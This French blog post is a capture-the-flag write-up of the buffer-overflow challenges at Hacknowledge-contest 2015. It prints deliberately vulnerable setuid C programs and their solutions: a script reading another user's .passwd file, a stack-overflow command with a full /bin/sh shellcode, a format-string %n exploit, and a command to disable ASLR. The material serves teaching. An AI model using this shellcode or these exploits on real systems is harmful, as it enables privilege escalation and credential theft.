Ziirish's Home :: Blog

Ziirish's Pub

 
 

Comme je vous le disais la semaine dernière, ce week-end se déroulait le Hacknowledge-contest 2015. L'équipe des FMG y était présente et je me propose ici de vous faire un petit write-up sur la partie Buffer Overflow (BoF).

HNC

HNC (direct link)

Globalement, cette année nous avons été moins bons que la dernière fois. Cela s'explique je pense par le fait qu'un certain nombre de nouvelles épreuves dans lesquelles nous n'étions pas forcément à l'aise ont fait leur apparition. En bref, les épreuves nouvelles dont je vous parle sont :

  • hardware : programmation arduino, etc.
  • wifi : crack WPA/WPA2
  • réseau : beaucoup de monde autour des équipements, donc je n'ai pas eu l'occasion de voir de quoi il en retournait. De plus, les équipements n'étaient pas disponibles une partie de la soirée.

Voici donc les scores :

scores HNC 2015

scores HNC 2015 (direct link)

Passons maintenant au write-up concernant la partie BoF.

level 1

Contrairement à la dernière fois, on commence direct par une exploitation de faille d'un programme disposant d'un setuid bit :

#include <stdio.h>
#include <stdlib.h>


int main(){  
       system("./level2");
return 0;
}

De plus, on sait que le mot de passe se trouve dans le fichier .passwd du HOME de l'utilisateur. On réalise donc un petit script comme suit :

#!/bin/bash
cat /home/level2/.passwd

On rend exécutable ce dernier, puis on lance le programme /wargame/level1.

level 2

Pour le niveau 2, ça n'était pas beaucoup plus compliqué. Le programme était le suivant :

#include <stdio.h>
int main(int argc, char *argv[])
{
if(argc != 2){
    exit(1);
}
int i;
int o;
for(i=0; argv[1][i]; i++){
    if(argv[1][i] == '\x4c' && argv[1][i+1] == '\x61' && argv[1][i+2] == '\x42' && argv[1][i+3] == '\x65' && argv[1][i+4] == '\x6c' && argv[1][i+5] == '\x67' && argv[1][i+6] == '\x69' && argv[1][i+7] == '\x71' && argv[1][i+8] == '\x75' && argv[1][i+9] == '\x65') o = 1;
        }
    if(o != 1){
        fprintf(stderr,"Illegal Instruction.\n");
        return 1;
    }
    else{
        fprintf(stdout,"OK it's GOOD\n");
        seteuid(1002);
        system("cat /home/level3/.passwd");
        return 0;
        }
}

Il convient donc d'appeler le script avec le bon argument. Ce dernier est encodé en hexadécimal. Un petit coup de python pour le décoder, et l'affaire est réglée :

$ python -c 'print "4c6142656c6769717565".decode("hex")'
LaBelgique

level 3

Alors pour le niveau 3, franchement, c'était hyper décevant. Je soupçonne une erreur dans l'épreuve tellement il n'y avait rien à faire :

#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
        if(argc < 2) exit(1);
        char buff[10];

        seteuid(1003);
        system("cat /home/level4/.passwd");
return 0;
}

Donc voilà, comme je le disais, ici il n'y avait absolument rien à faire à part appeler le programme avec un argument quelconque...

level 4

Par contre ici le niveau 4 remonte le niveau tout de suite...

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char * argv[]){
    char buf[128];
    if(argc == 1){
        printf("Usage: %s argument\n", argv[0]);
        exit(1);
    }
    seteuid(1004);
    strcpy(buf,argv[1]);
    printf("%s", buf);
    return 0;
}

Comme on peut le voir, on va devoir utiliser une attaque par buffer overflow à cause de/grâce à la fonction strcpy . Pour cette attaque, je ne vais pas trop pouvoir vous expliquer dans le détail car c'est minou qui s'en est chargé.

Voici la commande à exécuter :

$ /wargame/level4 $(python -c 'from struct import pack;print("<shellcode>".rjust(140, "\x90")+pack("<I",0xbffff960))')

Dans les grandes lignes, on sait que le buffer mesure 128 octets. Via gdb , on récupère l'adresse de la fonction printf, ici 0xbffff960. On utilise un shellcode (c'est sur la génération de ce dernier que je ne pourrai pas vous aider, mais potentiellement on trouve plein de shellcode sur internet), ici is s'agit de :

\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh

et enfin, on ajoute un padding pour déclencher le BoF : rjust(140, "\x90").

On se retrouve ensuite avec un shell avec l'uid 1004, ne reste plus qu'à afficher le mot de passe : cat /home/level4/.passwd.

level 5

Ici encore, épreuve intéressante :

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv){
    int i = 1;
    char buffer[64];
    snprintf(buffer, sizeof buffer, argv[1]);
    buffer[sizeof (buffer) - 1] = 0;
    printf("Changer la valeur de i de 1 a  500. ");
    if(i==500){
        printf("tres Bien!\n");
        seteuid(1005);
        system("/bin/sh");
    }
    printf("Perdu... Essai encore!\n");
    printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
    printf ("i = %d (%p)\n", i, &i);
    return 0;
}

Le but est de réussir à modifier la valeur de la variable i qui vaut 1 et qui n'est jamais modifiée dans le programme afin de la faire passer à 500. Cette fois, pas de buffer overflow puisqu'on utilise une fonction qui vérifie les bornes de notre buffer, il s'agit de la fonction snprintf . Cependant, cette dernière est tout de même vulnérable en utilisant la format string attack . Le principe, c'est que le premier paramètre de notre programme est passé au buffer sans aucune vérification. De plus, lors d'une exécution normale du programme, ce dernier nous indique l'adresse du pointeur vers la variable i. Dans les format string, il existe un format intéressant qui permet d'écrire le nombre de caractères imprimés jusqu'à présent par la fonction dans un pointeur : %n. Nous avons donc l'adresse du pointeur, et nous savons comment écrire dans ce pointeur :

$ /wargame/level5 `python -c 'print "\xcc\xf7\xff\xbf"+"%08x"*3+"%472x%n"'`

4 octets pour l'adresse du pointeur + 3 * 8 octets + 472 octets de padding = 500 octets écrits avant notre %n.

C'est terminé pour moi. On aura peut-être pas gagné, mais on aura au moins bien mangé :)

manger

manger (direct link)

À la prochaine !

P.S.: Pour ceux qui voudraient tester le level5, sur les systèmes récents il existe tout un tas de protections pour contrer ces problèmes. Il faut donc commencer par désactiver l'ASLR : echo 0 >/proc/sys/kernel/randomize_va_space (ne pas oublier de remettre l'ancienne valeur après vos tests...). Ensuite, pour simplifier on va compiler le programme en 32bit :

$ gcc -m32 -o level5 level5.c